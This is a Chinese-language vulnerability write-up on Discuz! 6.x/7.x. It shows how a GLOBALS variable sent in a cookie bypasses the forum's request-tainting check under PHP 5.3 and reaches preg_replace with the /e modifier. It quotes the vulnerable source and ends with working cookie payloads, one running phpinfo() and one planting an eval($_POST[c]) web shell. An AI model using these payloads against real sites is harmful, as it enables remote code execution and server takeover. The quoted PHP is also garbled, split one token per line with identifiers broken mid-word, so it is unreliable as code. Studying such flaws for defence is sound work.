漏洞概述: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。 漏洞分析:include/global.func.php代码里:
1
2
3
4
5
6
7
8
9
10
11
12
13
| function
daddslashes($string,
$force
=
0)
{
!defined('MAGIC_QUOTES_GPC')
&&
define('MAGIC_QUOTES_GPC',
get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC
||
$force)
{
if(is_array($string))
{
foreach($string
as
$key
=>
$val)
{
$string[$key]
=
daddslashes($val,
$force);
}
}
else
{
$string
=
addslashes($string);
}
}
return
$string;
}
|
include/common.inc.php里:
1
2
3
4
5
| foreach(array('_COOKIE',
'_POST',
'_GET')
as
$_request)
{
foreach($$_request
as
$_key
=>
$_value)
{
$_key{0}
!=
'_'
&&
$$_key
=
daddslashes($_value);
}
}
|
模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少 不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
1
2
3
| if
(isset($_REQUEST['GLOBALS'])
OR
isset($_FILES['GLOBALS']))
{
exit('Request tainting attempted.');
}
|
这样就没法提交GLOBALS变量了么? $_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
漏洞利用include/discuzcode.func.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| function
discuzcode($message,
$smileyoff,
$bbcodeoff,
$htmlon
=
0,
$allowsmilies
=
1,
$allowbbcode
=
1,
$allowimgcode
=
1,
$allowhtml
=
0,
$jammer
=
0,
$parsetype
=
'0',
$authorid
=
'0',
$allowmediacode
=
'0',
$pid
=
0)
{
global
$discuzcodes,
$credits,
$tid,
$discuz_uid,
$highlight,
$maxsmilies,
$db,
$tablepre,
$hideattach,
$allowat
tachurl;
if($parsetype
!=
1
&&
!$bbcodeoff
&&
$allowbbcode
&&
(strpos($message,
'[/code]')
||
strpos($message,
'[/CODE]')
)
!==
FALSE)
{
$message
=
preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies",
"codedisp('\\1')",
$message);
}
$msglower
=
strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon)
{
$message
=
$jammer
?
preg_replace("/\r\n|\n|\r/e",
"jammer()",
dhtmlspecialchars($message))
:
dhtmlspeci
alchars($message);
}
if(!$smileyoff
&&
$allowsmilies
&&
!empty($GLOBALS['_DCACHE']['smilies'])
&&
is_array($GLOBALS['_DCACHE']['smili
es']))
{
if(!$discuzcodes['smiliesreplaced'])
{
foreach($GLOBALS['_DCACHE']['smilies']['replacearray']
AS
$key
=>
$smiley)
{
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key]
=
'<img src="images/smilies/'.$GLOB
ALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'
.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced']
=
1;
}
$message
=
preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'],
$GLOBALS['_DCACHE']['smilies']['r
eplacearray'],
$message,
$maxsmilies);
}
|
注意到:
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
请求中Cookie带 GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
即一句话木马。 此后门漏洞十分隐蔽,不容易发现。 利用条件:1.discuz 6.x / 7.x 2.request_order默认值为GP
检测地址:http://lab.jdsec.com/ |